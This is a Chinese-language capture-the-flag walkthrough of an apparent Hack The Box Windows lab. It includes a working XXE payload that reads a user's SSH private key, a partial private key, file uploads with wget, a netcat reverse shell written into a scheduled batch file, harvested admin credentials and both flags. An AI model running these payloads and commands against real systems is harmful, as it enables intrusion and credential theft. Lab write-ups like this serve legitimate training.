目录
1.What version of Apache is running on the target's port 80?
2.What username:password combination logs in successfully?
3.What is the word at the top of the page that accepts user input?
4.What XML version is used on the target?
5.What does the XXE / XEE attack acronym stand for?
6.What username can we find on the webpage's HTML code?
7.What is the file located in the Log-Management folder on the target?
Windows中SSH私钥一般都存储在用户目录下的.ssh目录中,使用以下payload
8.What executable is mentioned in the file mentioned before?
USER_FLAG:032d2fc8952a8c24e39c8f0ee9918ef7
在本地使用python开启http.server服务,尝试将NC、winPEAS上传至靶机
ROOT_FLAG:f574a3e7650cebd8c39784299cb570f8
连接至HTB服务器并启动靶机
靶机IP:10.129.24.29
分配IP:10.10.16.12
1.What version of Apache is running on the target's port 80?
使用nmap对靶机80端口进行服务信息扫描:
nmap -sV -p 80 {TARGET_IP}
由nmap扫描结果可见,VERSION栏目下的版本信息:2.4.41
2.What username:password combination logs in successfully?
使用浏览器对靶机80端口URL登录:http://{TARGET_IP}
使用Yakit并使用TOP1000字典对密码进行爆破
账户:admin
密码:password
所以用户名与密码组合为:admin:password
3.What is the word at the top of the page that accepts user input?
进入home.php页面:
点击顶部Order选项,此页面允许接受来自用户的输入:
4.What XML version is used on the target?
在Order页面中随便填写数据,点击Submit数据上传:
使用Yakit或者BurpSuite对该数据包进行抓包:
从该请求包可以看到,靶机使用的XML版本为:1.0
5.What does the XXE / XEE attack acronym stand for?
XXE/XEE 的英文全称为 XML External Entity,即 XML 外部实体。
XXE 攻击是针对解析 XML 输入的应用程序的一种攻击方式。攻击者可以通过构造恶意的 XML 输入,利用应用程序解析 XML 时处理外部实体的机制,来读取服务器上的敏感文件、执行系统命令、进行内网探测等恶意操作。XXE 攻击的危害较大,可能导致敏感信息泄露、服务器被控制等严重后果。为了防范 XXE 攻击,可以采取禁用外部实体、对用户输入进行严格的验证和过滤等措施。
6.What username can we find on the webpage's HTML code?
在services.php页面下,按Ctrl+U查看网页HTML源码:
在注释处可以看到一个用户名:Daniel
7.What is the file located in the Log-Management folder on the target?
尝试进行XXE外部实体注入攻击查找并获取Daniel的SSH私钥:
Windows中SSH私钥一般都存储在用户目录下的.ssh目录中,使用以下payload
<?xml version="1.0" ?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:c:/users/daniel/.ssh/id_rsa'>]>
<order><quantity>5</quantity><item>&test;</item><address>666</address></order>
发送请求后,获得回显:
拷贝id_rsa文件内容如下:
Your order for -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEArJgaPRF5S49ZB+Ql8cOhnURSOZ4nVYRSnPXo6FIe9JnhVRrdEiMi
QZoKVCX6hIWp7I0BzN3o094nWInXYqh2oz5ijBqrn+NVlDYgGOtzQWLhW7MKsAvMpqM0fg
HYC5nup5qM8LYDyhLQ56j8jq5mhvEspgcDdGRy31pljOQSYDeAKVfiTOOMznyOdY/Klt6+
…-----END OPENSSH PRIVATE KEY-----
has been processed
在本地创建一个id_rsa文件,并将内容写入:
touch id_rsa
对该私钥文件修改为600权限,使其符合SSH的保护要求:
chmod 600 id_rsa
将秘钥内容写入:
echo "-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEArJgaPRF5S49ZB+Ql8cOhnURSOZ4nVYRSnPXo6FIe9JnhVRrdEiMi
QZoKVCX6hIWp7I0BzN3o094nWInXYqh2oz5ijBqrn+NVlDYgGOtzQWLhW7MKsAvMpqM0fg
HYC5nup5qM8LYDyhLQ56j8jq5mhvEspgcDdGRy31pljOQSYDeAKVfiTOOMznyOdY/Klt6+
ca+7/6ze8LTD3KYcUAqAxDINaZnNrG66yJU1RygXBwKRMEKZrEviLB7dzLElu3kGtiBa0g
DUqF/SVkE/tKGDH+XrKl6ltAUKfald/nqJrZbjDieplguocXwbFugIkyCc+eqSyaShMVk3
PKmZCo3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id_rsa daniel@{TARGET_IP}
在C盘根目录下,找到了Log_Management文件夹:
列出该文件夹内所有文件:
dir C:\Log-Management
可见该文件夹内仅存在一个:job.bat文件
8.What executable is mentioned in the file mentioned before?
进入C:\Log-Management目录中,并使用type命令查看job.bat文件内容:
cd C:\Log-Management
type job.bat
可见在该bat文件中,运行了wevtutil.exe文件
Submit user flag
在daniel用户的桌面上可以找到flag.txt文件,查看其内容:
USER_FLAG:032d2fc8952a8c24e39c8f0ee9918ef7
Submit root flag
使用icacls命令查看job.bat文件权限设置:
通过输出结果可见,BUILTIN为所有本地用户,具备完全控制权限(F)
这意味着我们对该文件可以随意读写
在本地使用python开启http.server服务,尝试将NC、winPEAS上传至靶机
在靶机启动powershell,并使用wget命令将本地文件下载至靶机:
wget http://{NATIVE_IP}:6666/nc.exe -outfile nc.exe
wget http://{NATIVE_IP}:6666/winPEASx64.exe -outfile winPEASx64.exe
将nc反弹shell命令写入job.nat文件中:
echo C:\Log-Management\nc.exe -e cmd.exe {NATIVE_IP} {NATIVE_PORT} > job.bat
在本地启用nc监听:
nc -lvnp {NATIVE_PORT}
因为job.bat文件在靶机系统将计划执行,所以只需要一直等(可能有点久)就会有反弹shell
不知道什么原因job.bat文件的内容一直被覆写,所以nc反弹shell这里可能需要多尝试几次
这里也可以使用winPEAS工具进行内部信息搜集
.\winPEASx64.exe
直接可以拿到管理用用户凭证:
账户:Administrator
密码:Yhk}QE&j<3M
直接使用该账户密码进行SSH服务登录:
ssh Administrator@{TARGET_IP}
也是顺利拿到了管理员权限,接下来也是在Administrator用户桌面下找到了root.txt